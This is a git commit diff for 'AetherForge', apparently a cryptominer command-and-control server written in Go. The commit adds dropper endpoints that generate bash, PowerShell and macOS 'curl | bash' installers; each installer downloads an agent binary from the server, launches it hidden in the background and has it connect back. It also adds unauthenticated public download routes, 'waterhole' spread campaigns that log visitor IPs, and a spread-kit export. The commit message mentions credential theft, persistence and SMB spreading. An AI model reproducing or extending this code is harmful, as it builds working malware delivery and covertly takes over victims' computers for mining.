feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -62,6 +62,10 @@ type ServerSettings struct {
|
||||
// FleetSecret is a random token generated once on first run and baked into
|
||||
// every forged agent binary. Agents must present it on connect or be rejected.
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
// PublicBuildsEnabled exposes all builds on unauthenticated /api/v1/public/* routes.
|
||||
// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
|
||||
PublicBuildsEnabled bool `json:"public_builds_enabled"`
|
||||
PublicBuildsLatestN int `json:"public_builds_latest_n"`
|
||||
}
|
||||
|
||||
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
|
||||
@@ -225,6 +229,7 @@ func DefaultConfig() *Config {
|
||||
ObfuscateDefault: false,
|
||||
SignEnabled: false,
|
||||
SignTimestampURL: "http://timestamp.digicert.com",
|
||||
PublicBuildsLatestN: 3,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -556,6 +561,10 @@ func mergeConfig(dst, src *Config) {
|
||||
if src.Server.FleetSecret != "" {
|
||||
dst.Server.FleetSecret = src.Server.FleetSecret
|
||||
}
|
||||
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
|
||||
if src.Server.PublicBuildsLatestN != 0 {
|
||||
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
|
||||
}
|
||||
if src.TunnelDefaults.CloudflaredTargetURL != "" {
|
||||
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
||||
}
|
||||
@@ -866,6 +875,12 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
|
||||
dst.Server.FleetSecret = src.Server.FleetSecret
|
||||
}
|
||||
if in(srvKeys, "public_builds_enabled") {
|
||||
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
|
||||
}
|
||||
if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 {
|
||||
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
|
||||
}
|
||||
}
|
||||
|
||||
if has("tunnel_defaults") {
|
||||
|
||||
@@ -17,6 +17,9 @@ import (
|
||||
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
||||
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
||||
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
||||
// GET /install.command — macOS double-click launcher (curl | bash wrapper)
|
||||
//
|
||||
// Query params: ?os=windows|linux|darwin|universal ?pin={build_id} ?c={campaign}
|
||||
type DropperHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
@@ -63,24 +66,70 @@ func detectPlatform(r *http.Request) string {
|
||||
return "" // caller will fall back to latest build regardless of platform
|
||||
}
|
||||
|
||||
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
platform := detectPlatform(r)
|
||||
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source string) {
|
||||
if c := r.URL.Query().Get("c"); c != "" {
|
||||
_ = h.db.LogCampaignHit(c, buildID, source, clientIP(r), r.UserAgent())
|
||||
}
|
||||
}
|
||||
|
||||
// Try exact platform match, then fall back to universal, then any.
|
||||
func dropperQueryParts(r *http.Request) []string {
|
||||
q := r.URL.Query()
|
||||
var parts []string
|
||||
if pin := strings.TrimSpace(q.Get("pin")); pin != "" {
|
||||
parts = append(parts, "pin="+pin)
|
||||
}
|
||||
if c := strings.TrimSpace(q.Get("c")); c != "" {
|
||||
parts = append(parts, "c="+c)
|
||||
}
|
||||
return parts
|
||||
}
|
||||
|
||||
func (h *DropperHandler) querySuffix(r *http.Request) string {
|
||||
parts := dropperQueryParts(r)
|
||||
if len(parts) == 0 {
|
||||
return ""
|
||||
}
|
||||
return "?" + strings.Join(parts, "&")
|
||||
}
|
||||
|
||||
func (h *DropperHandler) getExtraQuery(r *http.Request) string {
|
||||
parts := dropperQueryParts(r)
|
||||
if len(parts) == 0 {
|
||||
return ""
|
||||
}
|
||||
return "&" + strings.Join(parts, "&")
|
||||
}
|
||||
|
||||
// resolveDropperBuild picks a build from ?pin= or platform heuristics.
|
||||
func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildRecord, string, string) {
|
||||
if pin := strings.TrimSpace(r.URL.Query().Get("pin")); pin != "" {
|
||||
b, err := h.db.GetBuild(pin)
|
||||
if err == nil && b != nil {
|
||||
path, name := resolveDropperArtifact(h.dataDir, b)
|
||||
return b, path, name
|
||||
}
|
||||
}
|
||||
platform := detectPlatform(r)
|
||||
candidates := []string{platform, "universal", ""}
|
||||
if platform == "" {
|
||||
candidates = []string{"universal", ""}
|
||||
}
|
||||
|
||||
var buildPath, buildName string
|
||||
for _, p := range candidates {
|
||||
b, err := h.db.GetLatestBuildForPlatform(p)
|
||||
if err == nil && b != nil {
|
||||
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
|
||||
break
|
||||
path, name := resolveDropperArtifact(h.dataDir, b)
|
||||
return b, path, name
|
||||
}
|
||||
}
|
||||
return nil, "", ""
|
||||
}
|
||||
|
||||
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
b, buildPath, buildName := h.resolveDropperBuild(r)
|
||||
if b != nil {
|
||||
h.logCampaign(r, b.ID, "get")
|
||||
}
|
||||
if buildPath == "" {
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
@@ -96,9 +145,18 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, buildPath)
|
||||
}
|
||||
|
||||
func campaignEnvBlock(campaign string) string {
|
||||
if campaign == "" {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("export AETHER_CAMPAIGN=%q\nexport AETHER_UTM=%q\n", campaign, campaign)
|
||||
}
|
||||
|
||||
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
||||
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.sh")
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
# AetherForge agent installer
|
||||
@@ -109,6 +167,7 @@ set -e
|
||||
|
||||
die() { echo "[!] $*" >&2; exit 1; }
|
||||
|
||||
%s
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$ARCH" in
|
||||
@@ -123,7 +182,7 @@ DEST="$TMPDIR/worker"
|
||||
|
||||
# Download and verify we got a real file, not a 404 page.
|
||||
# Note: double-quotes around URL so $OS is expanded by the shell.
|
||||
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
|
||||
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS%[2]s")"
|
||||
if [ "$HTTP_CODE" != "200" ]; then
|
||||
cat "$DEST" >&2
|
||||
die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
|
||||
@@ -152,7 +211,7 @@ chmod +x "$DEST"
|
||||
echo "[*] Launching agent..."
|
||||
nohup "$DEST" >/dev/null 2>&1 &
|
||||
echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
|
||||
`, base)
|
||||
`, base, h.getExtraQuery(r), campaignEnvBlock(campaign))
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
||||
@@ -162,16 +221,25 @@ echo "[+] Agent started (pid $!) — it will install itself and connect back to
|
||||
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
||||
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.ps1")
|
||||
|
||||
// Build script as a regular string — backtick in Go raw strings conflicts
|
||||
// with PowerShell's escape character.
|
||||
bt := "`"
|
||||
nl := "\r\n"
|
||||
|
||||
campaignBlock := ""
|
||||
if campaign != "" {
|
||||
campaignBlock = "$env:AETHER_CAMPAIGN = '" + campaign + "'" + nl +
|
||||
"$env:AETHER_UTM = '" + campaign + "'" + nl + nl
|
||||
}
|
||||
|
||||
script := "# AetherForge dropper" + nl +
|
||||
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
|
||||
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
|
||||
"$url = '" + base + "/get?os=windows'" + nl +
|
||||
campaignBlock +
|
||||
"$url = '" + base + "/get?os=windows" + h.getExtraQuery(r) + "'" + nl +
|
||||
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
|
||||
"try {" + nl +
|
||||
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
|
||||
@@ -199,6 +267,25 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
|
||||
// ServeCommand handles GET /install.command — macOS double-clickable shell script.
|
||||
func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
suffix := h.querySuffix(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.command")
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/bash
|
||||
# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash
|
||||
set -e
|
||||
%[2]s
|
||||
curl -sL '%[1]s/install.sh%[3]s' | bash
|
||||
`, base, campaignEnvBlock(campaign), suffix)
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.command"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
|
||||
// resolveBase returns the public base URL for script generation, falling back
|
||||
// to the request's Host header when no public URL is configured.
|
||||
func (h *DropperHandler) resolveBase(r *http.Request) string {
|
||||
|
||||
@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
|
||||
148
server/internal/api/public_handler.go
Normal file
148
server/internal/api/public_handler.go
Normal file
@@ -0,0 +1,148 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// PublicBuildsConfig supplies public-download policy from server config.
|
||||
type PublicBuildsConfig struct {
|
||||
Enabled bool
|
||||
LatestN int
|
||||
}
|
||||
|
||||
// PublicHandler serves unauthenticated build listing and download endpoints.
|
||||
type PublicHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
configFn func() PublicBuildsConfig
|
||||
}
|
||||
|
||||
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
|
||||
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
|
||||
}
|
||||
|
||||
type publicBuildDTO struct {
|
||||
ID string `json:"id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
Platform string `json:"platform"`
|
||||
FileName string `json:"file_name"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
DownloadURL string `json:"download_url"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Pinned bool `json:"pinned"`
|
||||
Public bool `json:"public"`
|
||||
}
|
||||
|
||||
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
|
||||
dl := b.DownloadURL
|
||||
if dl == "" {
|
||||
dl = "/api/v1/public/download/" + b.ID
|
||||
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
|
||||
// Rewrite authenticated artifact path to public when listed
|
||||
if strings.Contains(dl, "/artifact/") {
|
||||
parts := strings.Split(dl, "/artifact/")
|
||||
if len(parts) == 2 {
|
||||
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
|
||||
}
|
||||
} else {
|
||||
dl = "/api/v1/public/download/" + b.ID
|
||||
}
|
||||
}
|
||||
return publicBuildDTO{
|
||||
ID: b.ID,
|
||||
WorkerName: b.WorkerName,
|
||||
Platform: b.Platform,
|
||||
FileName: b.FileName,
|
||||
FileSize: b.FileSize,
|
||||
BundleSize: b.BundleSize,
|
||||
DownloadURL: dl,
|
||||
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
|
||||
Pinned: b.Pinned,
|
||||
Public: b.Public,
|
||||
}
|
||||
}
|
||||
|
||||
// GET /api/v1/public/builds
|
||||
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||||
cfg := h.configFn()
|
||||
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
dtos := make([]publicBuildDTO, 0, len(builds))
|
||||
for _, b := range builds {
|
||||
dtos = append(dtos, toPublicBuildDTO(b))
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"builds": dtos,
|
||||
"public_builds_enabled": cfg.Enabled,
|
||||
"latest_n": cfg.LatestN,
|
||||
})
|
||||
}
|
||||
|
||||
// GET /api/v1/public/download/{id}
|
||||
// GET /api/v1/public/download/{id}/artifact/{name}
|
||||
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "build id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
cfg := h.configFn()
|
||||
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
|
||||
if err != nil || !ok {
|
||||
http.Error(w, "build not available for public download", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
if c := r.URL.Query().Get("c"); c != "" {
|
||||
_ = h.db.LogCampaignHit(c, id, "public_download", clientIP(r), r.UserAgent())
|
||||
}
|
||||
|
||||
build, err := h.db.GetBuild(id)
|
||||
if err != nil {
|
||||
http.Error(w, "build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
artifactName := chi.URLParam(r, "name")
|
||||
if artifactName != "" {
|
||||
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
http.Error(w, "artifact not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
|
||||
http.ServeFile(w, r, path)
|
||||
return
|
||||
}
|
||||
|
||||
path, name := resolveDropperArtifact(h.dataDir, build)
|
||||
if path == "" {
|
||||
http.Error(w, "artifact missing on disk", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
|
||||
http.ServeFile(w, r, path)
|
||||
}
|
||||
|
||||
func clientIP(r *http.Request) string {
|
||||
ip := r.Header.Get("X-Forwarded-For")
|
||||
if ip == "" {
|
||||
ip = r.RemoteAddr
|
||||
}
|
||||
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
|
||||
ip = ip[:idx]
|
||||
}
|
||||
return ip
|
||||
}
|
||||
90
server/internal/api/public_handler_test.go
Normal file
90
server/internal/api/public_handler_test.go
Normal file
@@ -0,0 +1,90 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func TestPublicHandlerListAndDownload(t *testing.T) {
|
||||
dataDir := t.TempDir()
|
||||
database, err := db.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
buildID := "pub-build-1"
|
||||
buildDir := filepath.Join(dataDir, "builds", buildID)
|
||||
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
artifact := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(artifact, []byte("MZ-fake-exe-content-padded"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
rec := &models.BuildRecord{
|
||||
ID: buildID, WorkerName: "pub-worker", ServerURL: "http://x", Wallet: "w",
|
||||
Threads: 1, FileSize: 32, FilePath: artifact, FileName: "worker.exe",
|
||||
Platform: "windows", CreatedAt: time.Now(), Pinned: true,
|
||||
}
|
||||
if err := database.InsertBuild(rec); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.SetPinnedBuild(buildID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
h := NewPublicHandler(database, dataDir, func() PublicBuildsConfig {
|
||||
return PublicBuildsConfig{Enabled: false, LatestN: 3}
|
||||
})
|
||||
|
||||
listReq := httptest.NewRequest(http.MethodGet, "/api/v1/public/builds", nil)
|
||||
listRec := httptest.NewRecorder()
|
||||
h.ListBuilds(listRec, listReq)
|
||||
if listRec.Code != http.StatusOK {
|
||||
t.Fatalf("list status %d body %s", listRec.Code, listRec.Body.String())
|
||||
}
|
||||
var listBody struct {
|
||||
Builds []publicBuildDTO `json:"builds"`
|
||||
}
|
||||
if err := json.Unmarshal(listRec.Body.Bytes(), &listBody); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(listBody.Builds) == 0 {
|
||||
t.Fatal("expected pinned build in public list")
|
||||
}
|
||||
|
||||
r := chi.NewRouter()
|
||||
r.Get("/public/download/{id}", h.Download)
|
||||
dlReq := httptest.NewRequest(http.MethodGet, "/public/download/"+buildID+"?c=test-camp", nil)
|
||||
dlRec := httptest.NewRecorder()
|
||||
r.ServeHTTP(dlRec, dlReq)
|
||||
if dlRec.Code != http.StatusOK {
|
||||
t.Fatalf("download status %d", dlRec.Code)
|
||||
}
|
||||
|
||||
hits, err := database.ListCampaignHits(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, hit := range hits {
|
||||
if hit.Campaign == "test-camp" {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatal("expected campaign hit logged for public download")
|
||||
}
|
||||
}
|
||||
@@ -413,7 +413,8 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
||||
// they require fleet-secret or Basic Auth (see isDownload block below).
|
||||
if path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" {
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
||||
strings.HasPrefix(path, "/api/v1/public/") {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
@@ -490,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
version := "AetherForge"
|
||||
@@ -578,6 +579,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builds
|
||||
r.Get("/builds", h.ListBuilds)
|
||||
r.Put("/builds/{id}/pin", h.PinBuild)
|
||||
if spreadHandler != nil {
|
||||
r.Put("/builds/{id}/public", spreadHandler.SetBuildPublic)
|
||||
}
|
||||
r.Delete("/builds/pin", h.UnpinAll)
|
||||
r.Delete("/builds/{id}", h.DeleteBuild)
|
||||
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
||||
@@ -591,6 +595,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
if spreadHandler != nil {
|
||||
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
|
||||
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||
}
|
||||
// Path Forge: walk a local server path, place launchers next to every file
|
||||
if pathForgeHandler != nil {
|
||||
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
|
||||
@@ -683,6 +693,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
||||
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
||||
|
||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
||||
if publicHandler != nil {
|
||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||
r.Get("/public/download/{id}", publicHandler.Download)
|
||||
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
|
||||
}
|
||||
})
|
||||
|
||||
// WebSocket
|
||||
@@ -694,6 +711,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/get", dropperHandler.ServeGet)
|
||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||
r.Get("/install.ps1", dropperHandler.ServePs1)
|
||||
r.Get("/install.command", dropperHandler.ServeCommand)
|
||||
}
|
||||
|
||||
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
219
server/internal/api/spread_handler.go
Normal file
219
server/internal/api/spread_handler.go
Normal file
@@ -0,0 +1,219 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
||||
type SpreadHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
projectRoot string
|
||||
wsHub *WSHub
|
||||
notesMu sync.RWMutex
|
||||
}
|
||||
|
||||
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
||||
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) notesPath() string {
|
||||
return filepath.Join(h.dataDir, "emberwake-notes.json")
|
||||
}
|
||||
|
||||
type emberwakeNotes struct {
|
||||
Content string `json:"content"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
UpdatedBy string `json:"updated_by"`
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) readNotes() emberwakeNotes {
|
||||
h.notesMu.RLock()
|
||||
defer h.notesMu.RUnlock()
|
||||
data, err := os.ReadFile(h.notesPath())
|
||||
if err != nil {
|
||||
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
|
||||
}
|
||||
var n emberwakeNotes
|
||||
if json.Unmarshal(data, &n) != nil {
|
||||
return emberwakeNotes{}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
|
||||
h.notesMu.Lock()
|
||||
defer h.notesMu.Unlock()
|
||||
data, err := json.MarshalIndent(n, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(h.notesPath(), data, 0644)
|
||||
}
|
||||
|
||||
// GET /api/v1/emberwake/notes
|
||||
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, h.readNotes())
|
||||
}
|
||||
|
||||
// PUT /api/v1/emberwake/notes
|
||||
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Content string `json:"content"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
n := emberwakeNotes{
|
||||
Content: body.Content,
|
||||
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
UpdatedBy: AuthUsername(r),
|
||||
}
|
||||
if err := h.writeNotes(n); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if h.wsHub != nil {
|
||||
h.wsHub.BroadcastEmberwakeNotes(n)
|
||||
}
|
||||
writeJSON(w, n)
|
||||
}
|
||||
|
||||
// GET /api/v1/emberwake/campaigns
|
||||
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
|
||||
hits, err := h.db.ListCampaignHits(50)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if hits == nil {
|
||||
hits = []dbpkg.CampaignHitSummary{}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"campaigns": hits})
|
||||
}
|
||||
|
||||
type spreadKitExportRequest struct {
|
||||
BuildID string `json:"build_id"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Campaign string `json:"campaign"`
